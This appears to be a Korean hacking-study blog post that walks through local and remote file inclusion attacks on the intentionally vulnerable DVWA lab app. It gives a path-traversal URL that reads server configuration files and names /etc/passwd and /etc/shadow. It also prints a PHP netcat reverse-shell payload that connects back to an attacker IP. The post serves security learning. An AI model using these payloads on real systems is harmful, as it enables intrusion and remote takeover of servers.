[Linux] 웹 사이트 로컬 / 원격 파일 인클루전 취약점 공격 [웹 사이트 해킹 / 파일 인클루전 / GPT에게 물어보기]
Nowhere 와 Now here 의 차이

IT/ㄴ Web Site Hacking

[Linux] 웹 사이트 로컬 / 원격 파일 인클루전 취약점 공격 [웹 사이트 해킹 / 파일 인클루전 / GPT에게 물어보기]

TIENE 2023. 7. 14. 12:31
반응형

- 같은 서버 내의 어떤 파일도 읽을 있는 취약점이다.

- php 언어의 include 함수의 취약점을 이용한 공격이다.

- 서버 내부 로컬의 파일을 실행하는 공격이어서 Local File Inclusion 이라고 불린다.

- 외부 서버에 있는 파일을 가져와 공격 대상 서버에서 파일을 실행하는 공격이어서 Remote File Inclusion 이라고 불린다.

- 웹 서버 애플리케이션 관련 WWW 디렉토리의 외부의 파일에 접근이 가능한 것이다.

- /etc/passwd나 /etc/shadow 같은 민감한 정보에도 접근 가능한 취약점이다.

- 코드 실행 취약점과 비슷한 맥락으로 진행된다.

 

[Linux] 웹 사이트 코드 실행 취약점 공격 [웹 사이트 해킹 / 코드 실행 취약점]

 

[Linux] 웹 사이트 코드 실행 취약점 공격 [웹 사이트 해킹 / 코드 실행 취약점]

- 웹 서버드의 운영 체제 코드 혹은 명령어이 실행가능하여 서버 통제 권한을 얻을 수 있다. - 윈도우 서버라면 윈도우 명령어 / 리눅스 서버라면 리눅스 명령어를 입력해볼 수 있다. - 공격자가

a-gyuuuu.tistory.com

- Ping 주소 다음에  줄의 명령어에 다수의 명령어를 이어서 입력  실행 가능하게 만든 ;  비슷하다.

 

 

 

[웹 사이트 로컬 파일 삽입 취약점 공격]


1. 공격 대상에 대한 정보 수집

- 취약점이 가득한 웹 서버의 웹 사이트로 이동한다.

- 이번에 알아볼 것은 파일 삽입 공격이기 때문에, File Inclusion으로 이동했다.

- 친절하게 공격 방법까지 제시해주는 멋진 웹 사이트다.

 

- 파일 인클루전 공격을 위해서, URL 안에 있는 [?page=index.php] 수정하라고 한다.

- http://192.168.111.131/dvwa/vulnerabilities/fi/?page=include.php 주소를 보면 [fi/?page=include.php] 실행된 것으로 보인다.

- page라는 값이 다른 페이지를 불러오는 것처럼 보여서, ChatGPT에 물어보니 맞는 것 같다.

- "page" 라는 파라메터에 그 값으로 include.php라는 파일이 왔다.

출처 : ChatGPT

 


2. 로컬 파일 인클루전 공격

 

- 이를 활용하며, 로컬 파일의 정보를 페이지에 출력해볼 있다.

- 먼저, include.php 주소를 알아내기 위해, 조그만 오류를 낸다. ? 지워서 확인해보자

 

- /var/www/dvwa/vulnerabilities/fi/include.php  위치에 include.php파일이 존재하는 것을 있다.

 

 

 

- /etc/ssh/sshd_config 위치로 가기 위해서는 5번을 상위 디렉토리로 이동해야한다.

- /etc/ssh/sshd_config 으로 가기 위한 경로는 다음과 같다.

 

http://192.168.111.131/dvwa/vulnerabilities/fi/?page=/../../../../../etc/ssh/sshd_config

- 위 주소를 브라우저에 입력하여 해당 파일을 다음 사진과 같이 읽어올 있다.

 

- 사용자 계정의 소유자 그룹과 셸과 같은 정보들도 전부 접근하여 있다.

 

 - 그리고, 코딩은 1도 모르지만, 내부 웹 서버의 php를 살펴보았다.

- page에 원하는 값을 입력하면, 그대로 웹 인터페이스에 노출되는 것이다.


 

 

 

[웹 사이트 원격 파일 삽입 취약점 공격]


1. 원격 파일 인클루전 공격 전 설정

- 원격으로 공격자의 서버에 있는 파일을 실행할 수 있다.

- 이를 위해서, 몇 가지를 수정해야한다.

- php.ini에서 url 접근 관련 설정을 수정해야한다.

 

출처 : https://hoststud.com/resources/how-to-disable-enable-allow_url_include-and-allow_url_fopen-function-using-custom-php-ini.36/

 

 

- allow_url_include = on으로 바꾸어서,  include 함수가 URL을 열 수 있도록 설정한다.

 

- 그리고, 공격자의 서버에 다음 내용이 담긴 txt 파일을 생성한다.

- 이 txt 안에 php 언어가 있는데, 192.168.111.128:8080(공격자)로 연결하여 sh 셸을 실행하는 것이다.

<?php

passthru("nc -e /bin/sh 192.168.111.128 8080");

php>

 

 

- 자세한 것은 ChatGPT에게 물어보았다.

- passthru() 는 운영 체제 상에서 명령어를 실행하는 함수다. 명령어를 파라메터로 받아서 실행한다.

 

출처 : ChatGPT

 

- 만든 파일을 공격자(Kail) 웹 서버에 저장해놓는다.

- 이제 파일은 공격 대상 서버에서 불러오고, 해당 파일을 실행시켜서 아래 php 문을 실행할 수 있다.

 

 

 

2. 원격 파일 인클루전 공격 실행

- 코드 실행 취약점 공격에 사용했던 nc 도구를 사용한다.

- 이 도구를 사용하여 공격자는 8080 Port를 열어두고, 공격 대상 서버가 연결하기를 기다린다.

- 관련 내용은 최상단에 첨부해둔 링크에서 확인할 수 있다.

- 또한, 공격자의 웹 서버에 이 파일을 저장해두었기 때문에, apache2가 잘 구동하고 있는지 확인한다.

 

 

- 공격자 웹 서버 안에 있는 파일에 도달할 수 있는 URL을 입력한다.

- [page=] 이후로의 입력값, 파일이나 URL을 그대로 실행하는 취약점이기 때문에 [reverse_test.txt]가 실행된다.

- 실행하면서 php 구문의 코드가 실행되고, 192.168.111.128:8080에 접속하여 sh을 실행한다.

 

- 그 결과로 공격자는 공격 대상 서버에서 원하는 명령어를 입력하여 취약점 공격이 성공했다.

 

 


 

* 어려워서 다시 공부하고 봐야겠다. php 구문은 1도 모르겠는데 php 기초만 알아봐야겠다.

반응형